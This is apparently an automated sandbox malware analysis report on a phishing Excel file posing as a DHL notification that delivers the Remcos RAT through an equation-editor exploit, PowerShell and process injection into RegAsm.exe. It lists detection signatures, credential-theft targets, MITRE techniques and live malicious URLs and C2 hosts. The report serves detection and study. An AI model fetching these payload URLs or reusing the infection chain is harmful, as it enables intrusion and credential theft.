            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTR
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
            Contains functionality to steal Chrome passwords or cookies
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data12_2_0040BA12
            Contains functionality to steal Firefox passwords or cookies
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\12_2_0040BB30
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \key3.db12_2_0040BB30
            Searches for Windows Mail specific files
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail <.oeaccountJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULLJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail *Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail NULLJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup *Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup NULLJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new *Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeDirectory queried: C:\Users\user\AppData\Local\Microsoft\Windows Mail\Backup\new NULLJump to behavior
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\places.sqliteJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.dbJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.dbJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.dbJump to behavior
            Tries to steal Instant Messenger accounts or passwords
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Google\Google Talk\AccountsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\PaltalkJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Identities\{56EE7341-F593-4666-B32B-0DA2F15C6755}\Software\Microsoft\Office\Outlook\OMI Account Manager\AccountsJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\ProfilesJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\OutlookJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45aJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4addJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\IncrediMail\IdentitiesJump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows Live MailJump to behavior
            Tries to steal Mail credentials (via file registry)
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: ESMTPPassword14_2_004033F0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, PopPassword14_2_00402DB3
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: _mbscpy,_mbscpy,_mbscpy,_mbscpy,RegCloseKey, SMTPPassword14_2_00402DB3
            Yara detected WebBrowserPassView password recovery tool
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3784, type: MEMORYSTR

            Remote Access Functionality

            barindex
            Detected Remcos RAT
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-F4JFYDJump to behavior
            Yara detected Remcos RAT
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 10.2.powershell.exe.44ad080.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 12.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000C.00000002.970273090.00000000008B1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000A.00000002.454145693.0000000004188000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3520, type: MEMORYSTR
            Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3680, type: MEMORYSTR
            Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\Notepo\logs.dat, type: DROPPED
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: cmd.exe12_2_0040569A

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity Information231
            Scripting            		Valid Accounts11
            Native API            		231
            Scripting            		1
            DLL Side-Loading            		11
            Deobfuscate/Decode Files or Information            		2
            OS Credential Dumping            		2
            System Time Discovery            		Remote Services11
            Archive Collected Data            		25
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault Accounts43
            Exploitation for Client Execution            		1
            DLL Side-Loading            		1
            Bypass User Account Control            		21
            Obfuscated Files or Information            		211
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		2
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts223
            Command and Scripting Interpreter            		1
            Windows Service            		1
            Access Token Manipulation            		1
            DLL Side-Loading            		2
            Credentials in Registry            		1
            System Service Discovery            		SMB/Windows Admin Shares2
            Email Collection            		1
            Remote Access Software            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal Accounts2
            Service Execution            		1
            Browser Extensions            		1
            Windows Service            		1
            Bypass User Account Control            		3
            Credentials In Files            		4
            File and Directory Discovery            		Distributed Component Object Model211
            Input Capture            		3
            Non-Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud Accounts2
            PowerShell            		Network Logon Script422
            Process Injection            		1
            Masquerading            		LSA Secrets38
            System Information Discovery            		SSH3
            Clipboard Data            		213
            Application Layer Protocol            		Scheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
            Virtualization/Sandbox Evasion            		Cached Domain Credentials3
            Security Software Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            Access Token Manipulation            		DCSync21
            Virtualization/Sandbox Evasion            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job422
            Process Injection            		Proc Filesystem4
            Process Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
            Application Window Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
            System Owner/User Discovery            		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
            Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
            Remote System Discovery            		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1482980 Sample: DHL Shipment Notification 4... Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 60 tny.wtf 2->60 82 Found malware configuration 2->82 84 Malicious sample detected (through community Yara rule) 2->84 86 Antivirus detection for URL or domain 2->86 88 24 other signatures 2->88 10 EXCEL.EXE 57 41 2->10         started        signatures3 process4 dnsIp5 64 tny.wtf 188.114.97.3, 49163, 49167, 80 CLOUDFLARENETUS European Union 10->64 66 192.3.176.154, 49164, 49168, 49170 AS-COLOCROSSINGUS United States 10->66 50 DHL Shipment Notif...04998009.xls (copy), Composite 10->50 dropped 52 iamtotalnewpersont...rleverthings[1].doc, Rich 10->52 dropped 14 wscript.exe 1 10->14         started        17 WINWORD.EXE 337 37 10->17         started        file6 process7 dnsIp8 100 Suspicious powershell command line found 14->100 102 Wscript starts Powershell (via cmd or directly) 14->102 104 Obfuscated command line found 14->104 112 3 other signatures 14->112 21 powershell.exe 12 5 14->21         started        56 tny.wtf 17->56 58 188.114.96.3, 49165, 49166, 80 CLOUDFLARENETUS European Union 17->58 40 C:\Users\user\AppData\Roaming\...\tny.wtf.url, MS 17->40 dropped 42 C:\Users\user\AppData\Roaming\...\dg4Zx.url, MS 17->42 dropped 44 ~WRF{800AC807-D585...2-0CED6CF689EF}.tmp, Composite 17->44 dropped 46 C:\Users\user\AppData\Local\...\B138FD5.doc, Rich 17->46 dropped 106 Microsoft Office launches external ms-search protocol handler (WebDAV) 17->106 108 Office viewer loads remote template 17->108 110 Microsoft Office drops suspicious files 17->110 25 EQNEDT32.EXE 12 17->25         started        file9 signatures10 process11 dnsIp12 62 198.46.176.133, 49169, 80 AS-COLOCROSSINGUS United States 21->62 90 Writes to foreign memory regions 21->90 92 Suspicious execution chain found 21->92 94 Injects a PE file into a foreign processes 21->94 28 RegAsm.exe 3 13 21->28         started        48 C:\...\screensimplethingstohandlecream.vBS, Unicode 25->48 dropped 96 Office equation editor establishes network connection 25->96 98 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 25->98 file13 signatures14 process15 dnsIp16 68 maveing.duckdns.org 28->68 70 maveing.duckdns.org 192.3.101.142, 18576, 49171, 49172 AS-COLOCROSSINGUS United States 28->70 72 geoplugin.net 178.237.33.50, 49173, 80 ATOM86-ASATOM86NL Netherlands 28->72 54 C:\Users\user\AppData\Local\Temp\...\logs.dat, data 28->54 dropped 114 Contains functionality to bypass UAC (CMSTPLUA) 28->114 116 Detected Remcos RAT 28->116 118 Tries to steal Mail credentials (via file registry) 28->118 122 7 other signatures 28->122 33 RegAsm.exe 1 28->33         started        36 RegAsm.exe 1 28->36         started        38 RegAsm.exe 11 28->38         started        file17 120 Uses dynamic DNS services 68->120 signatures18 process19 signatures20 74 Tries to steal Instant Messenger accounts or passwords 33->74 76 Tries to steal Mail credentials (via file / registry access) 33->76 78 Searches for Windows Mail specific files 33->78 80 Tries to harvest and steal browser information (history, passwords, etc) 36->80

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            DHL Shipment Notification 490104998009.xls24%ReversingLabsDocument-Excel.Exploit.CVE-2017-0199
            DHL Shipment Notification 490104998009.xls100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B138FD5.doc100%AviraHEUR/Rtf.Malformed
            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{800AC807-D585-4EB1-AF32-0CED6CF689EF}.tmp100%AviraEXP/CVE-2017-11882.Gen
            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings[1].doc100%AviraHEUR/Rtf.Malformed

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://www.imvu.comr0%URL Reputationsafe
            https://contoso.com/License0%URL Reputationsafe
            https://deff.nelreports.net/api/report?cat=msn0%URL Reputationsafe
            https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.9.1.min.js0%URL Reputationsafe
            http://geoplugin.net/json.gp/C0%URL Reputationsafe
            https://contoso.com/0%URL Reputationsafe
            https://nuget.org/nuget.exe0%URL Reputationsafe
            https://login.yahoo.com/config/login0%URL Reputationsafe
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
            http://nuget.org/NuGet.exe0%URL Reputationsafe
            http://www.imvu.com0%URL Reputationsafe
            https://contoso.com/Icon0%URL Reputationsafe
            http://geoplugin.net/json.gp0%URL Reputationsafe
            http://www.ebuddy.com0%URL Reputationsafe
            https://support.google.com/chrome/?p=plugin_flash0%Avira URL Cloudsafe
            http://b.scorecardresearch.com/beacon.js0%Avira URL Cloudsafe
            http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.png0%Avira URL Cloudsafe
            https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=10%Avira URL Cloudsafe
            http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.html0%Avira URL Cloudsafe
            http://www.nirsoft.net0%Avira URL Cloudsafe
            http://acdn.adnxs.com/ast/ast.js0%Avira URL Cloudsafe
            http://tny.wtf/dg4ZxyX0%Avira URL Cloudsafe
            http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_0%Avira URL Cloudsafe
            https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=90%Avira URL Cloudsafe
            http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com0%Avira URL Cloudsafe
            http://198.46.176.1330%Avira URL Cloudsafe
            https://www.google.com0%Avira URL Cloudsafe
            http://cache.btrll.com/default/Pix-1x1.gif0%Avira URL Cloudsafe
            http://o.aolcdn.com/ads/adswrappermsni.js0%Avira URL Cloudsafe
            http://pr-bh.ybp.yahoo.com/sync/msft/16145220553121086830%Avira URL Cloudsafe
            https://www.msn.com/en-us/homepage/secure/silentpassport?secure=false&lc=10330%Avira URL Cloudsafe
            http://www.msn.com/?ocid=iehp0%Avira URL Cloudsafe
            http://cdn.taboola.com/libtrc/msn-home-network/loader.js0%Avira URL Cloudsafe
            http://static.chartbeat.com/js/chartbeat.js0%Avira URL Cloudsafe
            http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_90%2Cw_120%2Cc_fill%2Cg_faces:auto%0%Avira URL Cloudsafe
            http://www.msn.com/de-de/?ocid=iehp0%Avira URL Cloudsafe
            maveing.duckdns.org0%Avira URL Cloudsafe
            http://www.nirsoft.net/0%Avira URL Cloudsafe
            http://192.3.176.154/50/screensimplethingstohandlecream.gIF0%Avira URL Cloudsafe
            https://contextual.media.net/803288796/fcmain.js?&gdpr=1&cid=8CUT39MWR&cpcd=2K6DOtg60bLnBhB3D4RSbQ%30%Avira URL Cloudsafe
            http://www.imvu.com/QK0%Avira URL Cloudsafe
            http://geoplugin.net/json.gp:Y0%Avira URL Cloudsafe
            http://192.3.176.154/50/screensimplethingstohandlecream.gIFj0%Avira URL Cloudsafe
            https://cvision.media.net/new/286x175/3/72/42/210/948f45db-f5a0-41ce-a6b6-5cc9e8c93c16.jpg?v=90%Avira URL Cloudsafe
            http://tny.wtf/0%Avira URL Cloudsafe
            http://ib.adnxs.com/pxj?bidder=18&seg=378601&action=setuids(0%Avira URL Cloudsafe
            http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_80%2Ch_334%2Cw_312%2Cc_fill%2Cg_faces%2Ce_sh0%Avira URL Cloudsafe
            http://198.46.176.133/Upload/vbs.jpeg100%Avira URL Cloudmalware
            http://cdn.taboola.com/libtrc/impl.thin.277-63-RELEASE.js0%Avira URL Cloudsafe
            https://www.ccleaner.com/go/app_cc_pro_trialkey0%Avira URL Cloudsafe
            http://tny.wtf/dg4Zx.10%Avira URL Cloudsafe
            https://contextual.media.net/8/nrrV73987.js0%Avira URL Cloudsafe
            http://192.3.176.154/50/HNBC.txt0%Avira URL Cloudsafe
            https://contextual.media.net/0%Avira URL Cloudsafe
            http://www.msn.com/0%Avira URL Cloudsafe
            https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%20%Avira URL Cloudsafe
            http://widgets.outbrain.com/external/publishers/msn/MSNIdSync.js0%Avira URL Cloudsafe
            https://dc.ads.linkedin.com/collect/?pid=6883&opid=7850&fmt=gif&ck=&3pc=true&an_user_id=5916504975490%Avira URL Cloudsafe
            http://tny.wtf/dg4Zx0%Avira URL Cloudsafe
            https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au0%Avira URL Cloudsafe
            http://geoplugin.net/json.gp(Y0%Avira URL Cloudsafe
            https://www.google.com/accounts/servicelogin0%Avira URL Cloudsafe
            http://192.3.176.154/50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doc0%Avira URL Cloudsafe
            https://policies.yahoo.com/w3c/p3p.xml0%Avira URL Cloudsafe
            http://cdn.at.atwola.com/_media/uac/msn.html0%Avira URL Cloudsafe
            http://www.msn.com/advertisement.ad.js0%Avira URL Cloudsafe
            http://go.microsoft.ck0%Avira URL Cloudsafe
            http://dis.criteo.com/dis/usersync.aspx?r=7&p=3&cp=appnexus&cu=1&url=http%3A%2F%2Fib.adnxs.com%2Fset0%Avira URL Cloudsafe
            http://192.3.176.1540%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            maveing.duckdns.org
            		192.3.101.142
            		truetrue
              		unknown
              geoplugin.net
              		178.237.33.50
              		truefalse
                		unknown
                tny.wtf
                		188.114.97.3
                		truetrue
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  maveing.duckdns.orgtrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://192.3.176.154/50/screensimplethingstohandlecream.gIFtrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://198.46.176.133/Upload/vbs.jpegfalse
                  • Avira URL Cloud: malware
                  		unknown
                  http://192.3.176.154/50/HNBC.txttrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://geoplugin.net/json.gpfalse
                  • URL Reputation: safe
                  		unknown
                  http://tny.wtf/dg4Zxfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://192.3.176.154/50/BNC/iamtotalnewpersontogetmebackwithentirenewthingstounderstandhowmuchkissineedtodosoican_________sheisbeautifulgirleverthings.doctrue
                  • Avira URL Cloud: safe
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://b.scorecardresearch.com/beacon.jsbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://tny.wtf/dg4ZxyX4B630000.0.dr, ~DF46F34CCCE4D30395.TMP.0.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://acdn.adnxs.com/ast/ast.jsbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.imvu.comrRegAsm.exe, 0000000F.00000002.462301939.0000000000400000.00000040.80000000.00040000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_167%2Cw_312%2Cc_fill%2Cg_faces%2Ce_bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contoso.com/Licensepowershell.exe, 0000000A.00000002.454145693.0000000003579000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://support.google.com/chrome/?p=plugin_flashRegAsm.exe, 0000000D.00000002.465577014.0000000000EC8000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://cdn.taboola.com/libtrc/static/thumbnails/f539211219b796ffbb49949997c764f0.pngbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://cvision.media.net/new/286x175/2/137/169/197/852af93e-e705-48f1-93ba-6ef64c8308e6.jpg?v=9bhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://acdn.adnxs.com/ib/static/usersync/v3/async_usersync.htmlbhv8C29.tmp.13.drfalse
                  • Avira URL Cloud: safe
                  		unknown
